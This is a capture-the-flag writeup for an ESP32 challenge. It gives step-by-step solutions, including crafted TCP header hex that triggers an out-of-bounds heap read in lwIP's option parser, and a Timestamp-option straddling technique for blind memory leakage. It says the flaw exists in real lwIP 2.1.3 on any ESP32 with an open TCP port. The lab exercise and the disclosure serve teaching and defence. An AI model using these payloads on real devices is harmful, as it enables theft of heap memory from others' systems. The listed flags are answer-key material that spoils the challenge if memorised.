| .. | ||
| README.md | ||
Phantom Byte — Writeup
TL;DR
4-layer progressive challenge on a real ESP32. Exploit a heap-buffer-overflow in the device's TCP option parser (based on a real lwIP 0-day). Each layer teaches a skill leading to the final blind extraction.
Reconnaissance
- Flash firmware on ESP32, connect UART at 115200
- Connect to WiFi AP Phantom_Node (password:
thewire2024) - Connect to the debug probe:
nc 192.168.4.1 1337
Flag 1 — Signal (100pts)
"The node whispers when it wakes."
Monitor the UART output during boot. Among the diagnostic lines:
[ 0.089] DIAG:b64:RVNQSU9Me3U0cnRfczMzc180bGx9
Decode the base64:
echo "RVNQSU9Me3U0cnRfczMzc180bGx9" | base64 -d
Result: ESPILON{u4rt_s33s_4ll}
Submit over TCP:
ph> unlock ESPILON{u4rt_s33s_4ll}
>> sequence accepted.
>> layer 2 unlocked. you're getting closer to the wire.
Flag 2 — Backdoor (200pts)
"Phantom always leaves a way in."
In layer 2, help lists the documented commands. But the mem output hints:
ph> mem
>> secrets cached in the wire
And info shows:
>> backdoor: [CLASSIFIED]
Try the hidden command wire:
ph> wire
>> accessing the wire...
>> config_cache dump:
>> ESPILON{h1dd3n_c0nf1g}
Submit:
ph> unlock ESPILON{h1dd3n_c0nf1g}
>> layer 3 unlocked. careful. the deeper you go, the less you come back.
Flag 3 — Memory Bleed (300pts)
"The parser reads more than it should."
In layer 3, enable debug tracing and inject a crafted TCP SYN:
ph> trace on
>> trace enabled.
Build a 20-byte TCP header with Data Offset = 15 (claims 40 option bytes):
Byte 12-13: F002 (doff=15, flags=SYN)
Full hex: 053900500000000100000000f002ffff00000000
ph> inject 053900500000000100000000f002ffff00000000
The trace output shows each byte read by tcp_get_next_optbyte:
[TRACE] tcp_get_next_optbyte:
[ 20] 0x45 << oob
[ 21] 0x53 << oob
[ 22] 0x50 << oob
[ 23] 0x49 << oob
...
All << oob bytes are reads past the segment into the adjacent config_cache.
Convert hex to ASCII:
0x45=E 0x53=S 0x50=P 0x49=I 0x4c=L 0x4f=O 0x4e=N 0x7b={
0x70=p 0x68=h 0x34=4 0x6e=n 0x74=t 0x30=0 0x6d=m 0x5f=_
0x62=b 0x79=y 0x74=t 0x33=3 0x5f=_ 0x68=h 0x33=3 0x34=4
0x70=p 0x5f=_ 0x6c=l 0x33=3 0x34=4 0x6b=k 0x7d=}
Flag: ESPILON{ph4nt0m_byt3_h34p_l34k}
Flag 4 — Blind Oracle (500pts)
"The protocol itself is your oracle."
Disable trace output — no more per-byte visibility:
ph> trace off
The vulnerability still exists, but now the only feedback is the parsed option values. Use the TCP Timestamp option (kind=8, len=10) to straddle the segment boundary:
Technique: Place the Timestamp kind+len as the last 2 in-bounds bytes. The 8 data bytes (TSval: 4B + TSecr: 4B) are read from OOB heap memory.
Extraction
Chunk 1 (flag bytes 0-7): seg_size=32, doff=10
ph> inject <crafted_hex>
>> opt: TS=1163150159/1280267387
Decode: 1163150159 → 0x45535049 → ESPI, 1280267387 → 0x4c4f4e7b → LON{
Chunk 2 (flag bytes 8-15): seg_size=40, doff=12
Decode TSval/TSecr → bl1n / d_st
Chunk 3 (flag bytes 16-22): seg_size=48, doff=14
Decode TSval/TSecr → r4dd / l3}\x00
Reconstruct: ESPILON{bl1nd_str4ddl3}
Automated Solver
python3 solve.py 192.168.4.1 1337
Flags
| # | Flag | Points |
|---|---|---|
| 1 | ESPILON{u4rt_s33s_4ll} |
100 |
| 2 | ESPILON{h1dd3n_c0nf1g} |
200 |
| 3 | ESPILON{ph4nt0m_byt3_h34p_l34k} |
300 |
| 4 | ESPILON{bl1nd_str4ddl3} |
500 |
Real-world Context
This challenge is based on a real vulnerability found in lwIP 2.1.3 (ESP-IDF v5.3).
The function tcp_get_next_optbyte() in tcp_in.c does not validate that the option
index stays within the pbuf's actual payload length. A remote attacker can send a crafted
TCP packet to any ESP32 with an open TCP port and leak adjacent heap memory.